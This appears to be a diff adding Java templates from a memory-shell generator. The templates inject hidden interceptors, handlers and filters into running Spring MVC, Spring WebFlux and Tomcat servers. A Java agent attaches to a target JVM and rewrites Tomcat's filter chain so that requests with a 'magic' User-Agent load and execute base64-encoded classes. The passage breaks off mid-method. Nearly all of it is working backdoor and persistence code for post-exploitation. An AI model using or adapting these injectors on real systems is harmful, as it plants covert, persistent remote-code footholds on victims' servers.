successLog("Attached to target JVM and loaded agent successfully");
|
||||||
|
} catch (Exception e) {
|
||||||
|
throw new RuntimeException(e);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
private static String getCurrentPID() {
|
||||||
|
return ManagementFactory.getRuntimeMXBean().getName().split("@")[0];
|
||||||
|
}
|
||||||
|
|
||||||
|
public static void infoLog(String message) {
|
||||||
|
System.out.println("[*] " + message);
|
||||||
|
}
|
||||||
|
|
||||||
|
public static void failLog(String message) {
|
||||||
|
System.out.println("[-] " + message);
|
||||||
|
}
|
||||||
|
|
||||||
|
public static void successLog(String message) {
|
||||||
|
System.out.println("[+] " + message);
|
||||||
|
}
|
||||||
|
|
||||||
|
}
|
||||||
@@ -0,0 +1,183 @@
|
|||||||
|
package jmg.core.template;
|
||||||
|
|
||||||
|
import java.io.ByteArrayInputStream;
|
||||||
|
import java.io.ByteArrayOutputStream;
|
||||||
|
import java.io.IOException;
|
||||||
|
import java.lang.reflect.Field;
|
||||||
|
import java.lang.reflect.InvocationTargetException;
|
||||||
|
import java.lang.reflect.Method;
|
||||||
|
import java.util.ArrayList;
|
||||||
|
import java.util.LinkedHashSet;
|
||||||
|
import java.util.zip.GZIPInputStream;
|
||||||
|
|
||||||
|
public class SpringMVCInterceptorInjectorTpl {
|
||||||
|
|
||||||
|
public String getUrlPattern() {
|
||||||
|
return "/*";
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
public String getClassName() {
|
||||||
|
return "";
|
||||||
|
}
|
||||||
|
|
||||||
|
public String getBase64String() throws IOException {
|
||||||
|
return "";
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
public SpringMVCInterceptorInjectorTpl() throws Exception {
|
||||||
|
Object context = getContext();
|
||||||
|
Object interceptor = getInterceptor();
|
||||||
|
addInterceptor(context, interceptor);
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
public Object getContext() throws ClassNotFoundException, InvocationTargetException, NoSuchMethodException, IllegalAccessException {
|
||||||
|
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
|
||||||
|
Object context = null;
|
||||||
|
try {
|
||||||
|
Object requestAttributes = invokeMethod(classLoader.loadClass("org.springframework.web.context.request.RequestContextHolder"), "getRequestAttributes");
|
||||||
|
Object httprequest = invokeMethod(requestAttributes, "getRequest");
|
||||||
|
Object session = invokeMethod(httprequest, "getSession");
|
||||||
|
Object servletContext = invokeMethod(session, "getServletContext");
|
||||||
|
context = invokeMethod(classLoader.loadClass("org.springframework.web.context.support.WebApplicationContextUtils"), "getWebApplicationContext", new Class[]{classLoader.loadClass("javax.servlet.ServletContext")}, new Object[]{servletContext});
|
||||||
|
} catch (Exception e) {
|
||||||
|
}
|
||||||
|
|
||||||
|
if (context == null) {
|
||||||
|
try {
|
||||||
|
LinkedHashSet applicationContexts = (LinkedHashSet) getFV(classLoader.loadClass("org.springframework.context.support.LiveBeansView").newInstance(), "applicationContexts");
|
||||||
|
Object applicationContext = applicationContexts.iterator().next();
|
||||||
|
if (classLoader.loadClass("org.springframework.web.context.WebApplicationContext").isAssignableFrom(applicationContext.getClass())) {
|
||||||
|
context = applicationContext;
|
||||||
|
}
|
||||||
|
} catch (Exception ignored) {
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return context;
|
||||||
|
}
|
||||||
|
|
||||||
|
private Object getInterceptor() throws Exception {
|
||||||
|
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
|
||||||
|
Object interceptor = null;
|
||||||
|
try {
|
||||||
|
interceptor = classLoader.loadClass(getClassName()).newInstance();
|
||||||
|
} catch (Exception e) {
|
||||||
|
try {
|
||||||
|
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
|
||||||
|
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
|
||||||
|
defineClass.setAccessible(true);
|
||||||
|
Class clazz = (Class) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
|
||||||
|
interceptor = clazz.newInstance();
|
||||||
|
} catch (Throwable tt) {
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return interceptor;
|
||||||
|
}
|
||||||
|
|
||||||
|
public void addInterceptor(Object context, Object interceptor) {
|
||||||
|
try {
|
||||||
|
Object abstractHandlerMapping = invokeMethod(context, "getBean", new Class[]{String.class}, new Object[]{"requestMappingHandlerMapping"});
|
||||||
|
ArrayList<Object> adaptedInterceptors = (ArrayList<Object>) getFV(abstractHandlerMapping, "adaptedInterceptors");
|
||||||
|
adaptedInterceptors.add(interceptor);
|
||||||
|
} catch (Exception ignored) {
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
static byte[] decodeBase64(String base64Str) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException {
|
||||||
|
Class<?> decoderClass;
|
||||||
|
try {
|
||||||
|
decoderClass = Class.forName("sun.misc.BASE64Decoder");
|
||||||
|
return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
|
||||||
|
} catch (Exception ignored) {
|
||||||
|
decoderClass = Class.forName("java.util.Base64");
|
||||||
|
Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
|
||||||
|
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
|
||||||
|
ByteArrayOutputStream out = new ByteArrayOutputStream();
|
||||||
|
ByteArrayInputStream in = new ByteArrayInputStream(compressedData);
|
||||||
|
GZIPInputStream ungzip = new GZIPInputStream(in);
|
||||||
|
byte[] buffer = new byte[256];
|
||||||
|
int n;
|
||||||
|
while ((n = ungzip.read(buffer)) >= 0) {
|
||||||
|
out.write(buffer, 0, n);
|
||||||
|
}
|
||||||
|
return out.toByteArray();
|
||||||
|
}
|
||||||
|
|
||||||
|
synchronized void setFV(Object var0, String var1, Object val) throws Exception {
|
||||||
|
getF(var0, var1).set(var0, val);
|
||||||
|
}
|
||||||
|
|
||||||
|
static Object getFV(Object obj, String fieldName) throws Exception {
|
||||||
|
Field field = getF(obj, fieldName);
|
||||||
|
field.setAccessible(true);
|
||||||
|
return field.get(obj);
|
||||||
|
}
|
||||||
|
|
||||||
|
static Field getF(Object obj, String fieldName) throws NoSuchFieldException {
|
||||||
|
Class<?> clazz = obj.getClass();
|
||||||
|
while (clazz != null) {
|
||||||
|
try {
|
||||||
|
Field field = clazz.getDeclaredField(fieldName);
|
||||||
|
field.setAccessible(true);
|
||||||
|
return field;
|
||||||
|
} catch (NoSuchFieldException e) {
|
||||||
|
clazz = clazz.getSuperclass();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
throw new NoSuchFieldException(fieldName);
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
static synchronized Object invokeMethod(Object targetObject, String methodName) throws NoSuchMethodException, IllegalAccessException, InvocationTargetException {
|
||||||
|
return invokeMethod(targetObject, methodName, new Class[0], new Object[0]);
|
||||||
|
}
|
||||||
|
|
||||||
|
public static synchronized Object invokeMethod(final Object obj, final String methodName, Class[] paramClazz, Object[] param) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException {
|
||||||
|
Class clazz = (obj instanceof Class) ? (Class) obj : obj.getClass();
|
||||||
|
Method method = null;
|
||||||
|
|
||||||
|
Class tempClass = clazz;
|
||||||
|
while (method == null && tempClass != null) {
|
||||||
|
try {
|
||||||
|
if (paramClazz == null) {
|
||||||
|
// Get all declared methods of the class
|
||||||
|
Method[] methods = tempClass.getDeclaredMethods();
|
||||||
|
for (int i = 0; i < methods.length; i++) {
|
||||||
|
if (methods[i].getName().equals(methodName) && methods[i].getParameterTypes().length == 0) {
|
||||||
|
method = methods[i];
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
} else {
|
||||||
|
method = tempClass.getDeclaredMethod(methodName, paramClazz);
|
||||||
|
}
|
||||||
|
} catch (NoSuchMethodException e) {
|
||||||
|
tempClass = tempClass.getSuperclass();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if (method == null) {
|
||||||
|
throw new NoSuchMethodException(methodName);
|
||||||
|
}
|
||||||
|
method.setAccessible(true);
|
||||||
|
if (obj instanceof Class) {
|
||||||
|
try {
|
||||||
|
return method.invoke(null, param);
|
||||||
|
} catch (IllegalAccessException e) {
|
||||||
|
throw new RuntimeException(e.getMessage());
|
||||||
|
}
|
||||||
|
} else {
|
||||||
|
try {
|
||||||
|
return method.invoke(obj, param);
|
||||||
|
} catch (IllegalAccessException e) {
|
||||||
|
throw new RuntimeException(e.getMessage());
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,185 @@
|
|||||||
|
package jmg.core.template;
|
||||||
|
|
||||||
|
import org.springframework.web.reactive.result.method.RequestMappingInfo;
|
||||||
|
import org.springframework.web.server.ServerWebExchange;
|
||||||
|
|
||||||
|
import java.io.ByteArrayInputStream;
|
||||||
|
import java.io.ByteArrayOutputStream;
|
||||||
|
import java.io.IOException;
|
||||||
|
import java.lang.reflect.Field;
|
||||||
|
import java.lang.reflect.InvocationTargetException;
|
||||||
|
import java.lang.reflect.Method;
|
||||||
|
import java.util.Collection;
|
||||||
|
import java.util.zip.GZIPInputStream;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* spring webflux + netty(default) -> spring RequestMappingHandlerMapping -> registerHandlerMethod
|
||||||
|
*/
|
||||||
|
public class SpringWebFluxHandlerMethodInjectorTpl {
|
||||||
|
|
||||||
|
|
||||||
|
public String getUrlPattern() {
|
||||||
|
return "";
|
||||||
|
}
|
||||||
|
|
||||||
|
public String getClassName() {
|
||||||
|
return "";
|
||||||
|
}
|
||||||
|
|
||||||
|
public String getBase64String() throws IOException {
|
||||||
|
return "";
|
||||||
|
}
|
||||||
|
|
||||||
|
public SpringWebFluxHandlerMethodInjectorTpl() {
|
||||||
|
try {
|
||||||
|
Object requestMappingHandlerMapping = getRequestMappingHandlerMapping();
|
||||||
|
Object handlerMethod = getHandlerMethod();
|
||||||
|
addHandlerMethod(requestMappingHandlerMapping, handlerMethod);
|
||||||
|
} catch (Exception ignored) {
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
private Object getRequestMappingHandlerMapping() throws Exception {
|
||||||
|
Thread[] threads = (Thread[]) invokeMethod(Thread.class, "getThreads");
|
||||||
|
Object requestMappingHandlerMapping = null;
|
||||||
|
for (int i = 0; i < threads.length; i++) {
|
||||||
|
try {
|
||||||
|
Collection handlerMappings = (Collection) getFV(getFV(getFV(getFV(getFV(getFV(getFV(getFV(threads[i], "this$0"), "handler"), "httpHandler"), "delegate"), "delegate"), "delegate"), "delegate"), "handlerMappings");
|
||||||
|
Object[] objects = handlerMappings.toArray();
|
||||||
|
boolean flag = false;
|
||||||
|
for (int j = 0; j < objects.length; j++) {
|
||||||
|
if (objects[j].getClass().getName().contains("RequestMappingHandlerMapping")) {
|
||||||
|
requestMappingHandlerMapping = objects[j];
|
||||||
|
flag = true;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if (flag) {
|
||||||
|
return requestMappingHandlerMapping;
|
||||||
|
}
|
||||||
|
} catch (Exception ignored) {
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return requestMappingHandlerMapping;
|
||||||
|
}
|
||||||
|
|
||||||
|
public void addHandlerMethod(Object obj, Object handler) {
|
||||||
|
try {
|
||||||
|
Method method = handler.getClass().getDeclaredMethod("invoke", ServerWebExchange.class);
|
||||||
|
RequestMappingInfo requestMappingInfo = RequestMappingInfo.paths(getUrlPattern()).build();
|
||||||
|
invokeMethod(obj, "registerHandlerMethod", new Class[]{Object.class, Method.class, RequestMappingInfo.class}, new Object[]{handler, method, requestMappingInfo});
|
||||||
|
} catch (Exception ignored) {
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
private Object getHandlerMethod() {
|
||||||
|
Object handler = null;
|
||||||
|
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
|
||||||
|
try {
|
||||||
|
handler = classLoader.loadClass(getClassName()).newInstance();
|
||||||
|
} catch (Exception e) {
|
||||||
|
try {
|
||||||
|
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
|
||||||
|
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
|
||||||
|
defineClass.setAccessible(true);
|
||||||
|
Class clazz = (Class) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
|
||||||
|
handler = clazz.newInstance();
|
||||||
|
} catch (Exception ignored) {
|
||||||
|
}
|
||||||
|
|
||||||
|
}
|
||||||
|
return handler;
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
private static byte[] decodeBase64(String base64Str) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException {
|
||||||
|
Class<?> decoderClass;
|
||||||
|
try {
|
||||||
|
decoderClass = Class.forName("sun.misc.BASE64Decoder");
|
||||||
|
return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
|
||||||
|
} catch (Exception ignored) {
|
||||||
|
decoderClass = Class.forName("java.util.Base64");
|
||||||
|
Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
|
||||||
|
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
|
||||||
|
ByteArrayOutputStream out = new ByteArrayOutputStream();
|
||||||
|
ByteArrayInputStream in = new ByteArrayInputStream(compressedData);
|
||||||
|
GZIPInputStream ungzip = new GZIPInputStream(in);
|
||||||
|
byte[] buffer = new byte[256];
|
||||||
|
int n;
|
||||||
|
while ((n = ungzip.read(buffer)) >= 0) {
|
||||||
|
out.write(buffer, 0, n);
|
||||||
|
}
|
||||||
|
return out.toByteArray();
|
||||||
|
}
|
||||||
|
|
||||||
|
private static Object getFV(Object obj, String fieldName) throws Exception {
|
||||||
|
Field field = getF(obj, fieldName);
|
||||||
|
field.setAccessible(true);
|
||||||
|
return field.get(obj);
|
||||||
|
}
|
||||||
|
|
||||||
|
private static Field getF(Object obj, String fieldName) throws NoSuchFieldException {
|
||||||
|
Class<?> clazz = obj.getClass();
|
||||||
|
while (clazz != null) {
|
||||||
|
try {
|
||||||
|
Field field = clazz.getDeclaredField(fieldName);
|
||||||
|
field.setAccessible(true);
|
||||||
|
return field;
|
||||||
|
} catch (NoSuchFieldException e) {
|
||||||
|
clazz = clazz.getSuperclass();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
throw new NoSuchFieldException(fieldName);
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
private static synchronized Object invokeMethod(Object targetObject, String methodName) throws NoSuchMethodException, IllegalAccessException, InvocationTargetException {
|
||||||
|
return invokeMethod(targetObject, methodName, new Class[0], new Object[0]);
|
||||||
|
}
|
||||||
|
|
||||||
|
private static synchronized Object invokeMethod(final Object obj, final String methodName, Class[] paramClazz, Object[] param) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException {
|
||||||
|
Class clazz = (obj instanceof Class) ? (Class) obj : obj.getClass();
|
||||||
|
Method method = null;
|
||||||
|
|
||||||
|
Class tempClass = clazz;
|
||||||
|
while (method == null && tempClass != null) {
|
||||||
|
try {
|
||||||
|
if (paramClazz == null) {
|
||||||
|
// Get all declared methods of the class
|
||||||
|
Method[] methods = tempClass.getDeclaredMethods();
|
||||||
|
for (int i = 0; i < methods.length; i++) {
|
||||||
|
if (methods[i].getName().equals(methodName) && methods[i].getParameterTypes().length == 0) {
|
||||||
|
method = methods[i];
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
} else {
|
||||||
|
method = tempClass.getDeclaredMethod(methodName, paramClazz);
|
||||||
|
}
|
||||||
|
} catch (NoSuchMethodException e) {
|
||||||
|
tempClass = tempClass.getSuperclass();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if (method == null) {
|
||||||
|
throw new NoSuchMethodException(methodName);
|
||||||
|
}
|
||||||
|
method.setAccessible(true);
|
||||||
|
if (obj instanceof Class) {
|
||||||
|
try {
|
||||||
|
return method.invoke(null, param);
|
||||||
|
} catch (IllegalAccessException e) {
|
||||||
|
throw new RuntimeException(e.getMessage());
|
||||||
|
}
|
||||||
|
} else {
|
||||||
|
try {
|
||||||
|
return method.invoke(obj, param);
|
||||||
|
} catch (IllegalAccessException e) {
|
||||||
|
throw new RuntimeException(e.getMessage());
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,204 @@
|
|||||||
|
package jmg.core.template;
|
||||||
|
|
||||||
|
import javassist.ClassClassPath;
|
||||||
|
import javassist.ClassPool;
|
||||||
|
import javassist.CtClass;
|
||||||
|
import javassist.CtMethod;
|
||||||
|
|
||||||
|
import java.io.File;
|
||||||
|
import java.io.FileOutputStream;
|
||||||
|
import java.io.InputStream;
|
||||||
|
import java.lang.instrument.ClassFileTransformer;
|
||||||
|
import java.lang.instrument.IllegalClassFormatException;
|
||||||
|
import java.lang.instrument.Instrumentation;
|
||||||
|
import java.lang.instrument.UnmodifiableClassException;
|
||||||
|
import java.lang.management.ManagementFactory;
|
||||||
|
import java.lang.reflect.Method;
|
||||||
|
import java.net.URL;
|
||||||
|
import java.net.URLClassLoader;
|
||||||
|
import java.security.ProtectionDomain;
|
||||||
|
import java.util.List;
|
||||||
|
|
||||||
|
public class TomcatAgentTransformer implements ClassFileTransformer {
|
||||||
|
|
||||||
|
public static final String targetClassName = "org.apache.catalina.core.ApplicationFilterChain";
|
||||||
|
public static final String targetMethodName = "doFilter";
|
||||||
|
public String injectHeaderName = "User-Agent";
|
||||||
|
|
||||||
|
public String injectHeaderValue = "magic";
|
||||||
|
|
||||||
|
public String getInjectorCode() {
|
||||||
|
return "";
|
||||||
|
}
|
||||||
|
|
||||||
|
public static void agentmain(String args, Instrumentation instrumentation) throws UnmodifiableClassException {
|
||||||
|
instrumentation.addTransformer(new TomcatAgentTransformer(), true);
|
||||||
|
for (Class clz : instrumentation.getAllLoadedClasses()) {
|
||||||
|
if (!clz.getName().equals(targetClassName)) continue;
|
||||||
|
instrumentation.retransformClasses(clz);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
@Override
|
||||||
|
public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer) throws IllegalClassFormatException {
|
||||||
|
className = className.replace("/", ".");
|
||||||
|
if (className.equals(targetClassName) && classBeingRedefined != null) {
|
||||||
|
try {
|
||||||
|
ClassPool pool = ClassPool.getDefault();
|
||||||
|
pool.insertClassPath(new ClassClassPath(classBeingRedefined));
|
||||||
|
CtClass ctClass = pool.getCtClass(className);
|
||||||
|
CtMethod ctMethod = ctClass.getDeclaredMethod(targetMethodName);
|
||||||
|
String injectorCode = getInjectorCode();
|
||||||
|
String code = String.format("if ($1 instanceof javax.servlet.http.HttpServletRequest && $2 instanceof javax.servlet.http.HttpServletResponse) {\n" +
|
||||||
|
" javax.servlet.http.HttpServletRequest httpRequest = (javax.servlet.http.HttpServletRequest) $1;\n" +
|
||||||
|
" javax.servlet.http.HttpServletResponse httpResponse = (javax.servlet.http.HttpServletResponse) $2;\n" +
|
||||||
|
" try {\n" +
|
||||||
|
" if (httpRequest.getHeader(\"%s\") != null && httpRequest.getHeader(\"%s\").contains(\"%s\")) {\n" +
|
||||||
|
" String injectorCode = \"%s\";\n" +
|
||||||
|
" byte[] byteArray;\n" +
|
||||||
|
" try {\n" +
|
||||||
|
" Class base64DecoderClazz = Class.forName(\"sun.misc.BASE64Decoder\");\n" +
|
||||||
|
" byteArray = (byte[]) base64DecoderClazz.getMethod(\"decodeBuffer\", new Class[]{String.class}).invoke(base64DecoderClazz.newInstance(), new Object[]{injectorCode});\n" +
|
||||||
|
" } catch (Throwable e) {\n" +
|
||||||
|
" Class base64Clazz = Class.forName(\"java.util.Base64\");\n" +
|
||||||
|
" Object decoder = base64Clazz.getMethod(\"getDecoder\", null).invoke(base64Clazz, null);\n" +
|
||||||
|
" byteArray = (byte[]) base64Clazz.getMethod(\"decode\", new Class[]{byte[].class}).invoke(decoder, new Object[]{injectorCode});\n" +
|
||||||
|
" }\n" +
|
||||||
|
" java.net.URLClassLoader classLoader = new java.net.URLClassLoader(new java.net.URL[0], Thread.currentThread().getContextClassLoader());\n" +
|
||||||
|
" java.lang.reflect.Method method = ClassLoader.class.getDeclaredMethod(\"defineClass\", new Class[]{byte[].class, int.class, int.class});\n" +
|
||||||
|
" method.setAccessible(true);\n" +
|
||||||
|
" Class clazz = (Class) method.invoke(classLoader, new Object[]{byteArray, new Integer(0), new Integer(byteArray.length)});\n" +
|
||||||
|
" clazz.newInstance();\n" +
|
||||||
|
" }\n" +
|
||||||
|
" } catch (Exception e) {\n" +
|
||||||
|
" e.printStackTrace();\n" +
|
||||||
|
" }\n" +
|
||||||
|
"}", injectHeaderName, injectHeaderName, injectHeaderValue, injectorCode);
|
||||||
|
ctMethod.insertBefore(code);
|
||||||
|
byte[] bytes = ctClass.toBytecode();
|
||||||
|
ctClass.detach();
|
||||||
|
return bytes;
|
||||||
|
} catch (Exception e) {
|
||||||
|
e.printStackTrace();
|
||||||
|
return new byte[0];
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return new byte[0];
|
||||||
|
}
|
||||||
|
|
||||||
|
private static Class virtualMachineClass;
|
||||||
|
private static Class virtualMachineDescriptorClass;
|
||||||
|
private static List<Object> vms;
|
||||||
|
|
||||||
|
static {
|
||||||
|
try {
|
||||||
|
// 获取 tools.jar 的路径
|
||||||
|
StringBuilder toolsJarPath = new StringBuilder();
|
||||||
|
toolsJarPath.append(System.getProperty("java.home"))
|
||||||
|
.append(File.separator)
|
||||||
|
.append("..")
|
||||||
|
.append(File.separator)
|
||||||
|
.append("lib")
|
||||||
|
.append(File.separator)
|
||||||
|
.append("tools.jar");
|
||||||
|
File toolsJarFile = new File(toolsJarPath.toString());
|
||||||
|
|
||||||
|
// 如果 JDK 目录下没有找到 tools.jar(纯JRE)
|
||||||
|
if (!toolsJarFile.exists() || !toolsJarFile.isFile()) {
|
||||||
|
// 释放内置的 tools.jar
|
||||||
|
InputStream jarStream = TomcatAgentTransformer.class.getClassLoader().getResourceAsStream("tools.jar");
|
||||||
|
toolsJarFile = File.createTempFile("tools", ".jar");
|
||||||
|
|
||||||
|
FileOutputStream out = null;
|
||||||
|
try {
|
||||||
|
out = new FileOutputStream(toolsJarFile);
|
||||||
|
byte[] buffer = new byte[1024];
|
||||||
|
int bytesRead;
|
||||||
|
while ((bytesRead = jarStream.read(buffer)) != -1) {
|
||||||
|
out.write(buffer, 0, bytesRead);
|
||||||
|
}
|
||||||
|
} finally {
|
||||||
|
if (out != null) {
|
||||||
|
out.close();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// Load the VirtualMachine and VirtualMachineDescriptor classes
|
||||||
|
URL url = toolsJarFile.toURI().toURL();
|
||||||
|
URLClassLoader urlClassLoader = new URLClassLoader(new URL[]{url});
|
||||||
|
virtualMachineClass = urlClassLoader.loadClass("com.sun.tools.attach.VirtualMachine");
|
||||||
|
virtualMachineDescriptorClass = urlClassLoader.loadClass("com.sun.tools.attach.VirtualMachineDescriptor");
|
||||||
|
vms = (List) virtualMachineClass.getMethod("list").invoke(virtualMachineClass);
|
||||||
|
} catch (Exception e) {
|
||||||
|
e.printStackTrace();
|
||||||
|
}
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
public static void main(String[] args) throws Exception {
|
||||||
|
String jvmProcessId = null;
|
||||||
|
if (args.length == 0) {
|
||||||
|
// 列出所有 pid
|
||||||
|
listAllJvmPids();
|
||||||
|
} else {
|
||||||
|
try {
|
||||||
|
Integer.parseInt(args[0]);
|
||||||
|
jvmProcessId = args[0];
|
||||||
|
attachAgentToTargetJvm(jvmProcessId);
|
||||||
|
} catch (NumberFormatException e) {
|
||||||
|
throw new IllegalArgumentException("Argument must be an integer representing a JVM process ID");
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
public static void listAllJvmPids() throws Exception {
|
||||||
|
for (Object vm : vms) {
|
||||||
|
Method displayNameMethod = virtualMachineDescriptorClass.getMethod("displayName");
|
||||||
|
String displayName = (String) displayNameMethod.invoke(vm);
|
||||||
|
Method getId = virtualMachineDescriptorClass.getDeclaredMethod("id");
|
||||||
|
String id = (String) getId.invoke(vm);
|
||||||
|
infoLog(String.format("Found pid %s ——> [%s]", id, displayName));
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
private static void attachAgentToTargetJvm(String targetPID) throws Exception {
|
||||||
|
String agentFilePath = new File(TomcatAgentTransformer.class.getProtectionDomain().getCodeSource().getLocation().getPath()).getCanonicalPath();
|
||||||
|
infoLog("Current agent path: " + agentFilePath);
|
||||||
|
File agentFile = new File(agentFilePath);
|
||||||
|
String currentPid = getCurrentPID();
|
||||||
|
if (targetPID.equals(currentPid)) {
|
||||||
|
infoLog("Skipping attaching to self");
|
||||||
|
} else {
|
||||||
|
try {
|
||||||
|
infoLog("Attaching to target JVM with PID: " + targetPID);
|
||||||
|
Object jvm = virtualMachineClass.getMethod("attach", new Class[]{String.class}).invoke(null, targetPID);
|
||||||
|
Method loadAgent = virtualMachineClass.getDeclaredMethod("loadAgent", String.class);
|
||||||
|
loadAgent.invoke(jvm, agentFile.getAbsolutePath());
|
||||||
|
Method detach = virtualMachineClass.getDeclaredMethod("detach");
|
||||||
|
detach.invoke(jvm);
|
||||||
|
successLog("Attached to target JVM and loaded agent successfully");
|
||||||
|
} catch (Exception e) {
|
||||||
|
throw new RuntimeException(e);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
private static String getCurrentPID() {
|
||||||
|
return ManagementFactory.getRuntimeMXBean().getName().split("@")[0];
|
||||||
|
}
|
||||||
|
|
||||||
|
public static void infoLog(String message) {
|
||||||
|
System.out.println("[*] " + message);
|
||||||
|
}
|
||||||
|
|
||||||
|
public static void failLog(String message) {
|
||||||
|
System.out.println("[-] " + message);
|
||||||
|
}
|
||||||
|
|
||||||
|
public static void successLog(String message) {
|
||||||
|
System.out.println("[+] " + message);
|
||||||
|
}
|
||||||
|
|
||||||
|
}
|
||||||
@@ -0,0 +1,294 @@
|
|||||||
|
package jmg.core.template;
|
||||||
|
|
||||||
|
import java.io.ByteArrayInputStream;
|
||||||
|
import java.io.ByteArrayOutputStream;
|
||||||
|
import java.io.IOException;
|
||||||
|
import java.lang.reflect.Constructor;
|
||||||
|
import java.lang.reflect.Field;
|
||||||
|
import java.lang.reflect.InvocationTargetException;
|
||||||
|
import java.lang.reflect.Method;
|
||||||
|
import java.util.ArrayList;
|
||||||
|
import java.util.HashMap;
|
||||||
|
import java.util.List;
|
||||||
|
import java.util.Map;
|
||||||
|
import java.util.zip.GZIPInputStream;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Date: 2022/11/01
|
||||||
|
* Author: pen4uin
|
||||||
|
* Description: Tomcat Filter 注入器
|
||||||
|
* Tested version:
|
||||||
|
* jdk v1.8.0_275
|
||||||
|
* tomcat v5.5.36, v6.0.9, v7.0.32, v8.5.83, v9.0.67
|
||||||
|
*/
|
||||||
|
|
||||||
|
public class TomcatFilterInjectorTpl {
|
||||||
|
|
||||||
|
public String getUrlPattern() {
|
||||||
|
return "/*";
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
public String getClassName() {
|
||||||
|
return "";
|
||||||
|
}
|
||||||
|
|
||||||
|
public String getBase64String() throws IOException {
|
||||||
|
return "";
|
||||||
|
}
|
||||||
|
|
||||||
|
static {
|
||||||
|
new TomcatFilterInjectorTpl();
|
||||||
|
}
|
||||||
|
|
||||||
|
public TomcatFilterInjectorTpl() {
|
||||||
|
try {
|
||||||
|
List<Object> contexts = getContext();
|
||||||
|
for (Object context : contexts) {
|
||||||
|
Object filter = getFilter(context);
|
||||||
|
addFilter(context, filter);
|
||||||
|
}
|
||||||
|
} catch (Exception ignored) {
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
public List<Object> getContext() throws IllegalAccessException, NoSuchMethodException, InvocationTargetException {
|
||||||
|
List<Object> contexts = new ArrayList<Object>();
|
||||||
|
Thread[] threads = (Thread[]) invokeMethod(Thread.class, "getThreads");
|
||||||
|
Object context = null;
|
||||||
|
try {
|
||||||
|
for (Thread thread : threads) {
|
||||||
|
// 适配 v5/v6/7/8
|
||||||
|
if (thread.getName().contains("ContainerBackgroundProcessor") && context == null) {
|
||||||
|
HashMap childrenMap = (HashMap) getFV(getFV(getFV(thread, "target"), "this$0"), "children");
|
||||||
|
// 原: map.get("localhost")
|
||||||
|
// 之前没有对 StandardHost 进行遍历,只考虑了 localhost 的情况,如果目标自定义了 host,则会获取不到对应的 context,导致注入失败
|
||||||
|
for (Object key : childrenMap.keySet()) {
|
||||||
|
HashMap children = (HashMap) getFV(childrenMap.get(key), "children");
|
||||||
|
// 原: context = children.get("");
|
||||||
|
// 之前没有对context map进行遍历,只考虑了 ROOT context 存在的情况,如果目标tomcat不存在 ROOT context,则会注入失败
|
||||||
|
for (Object key1 : children.keySet()) {
|
||||||
|
context = children.get(key1);
|
||||||
|
if (context != null && context.getClass().getName().contains("StandardContext"))
|
||||||
|
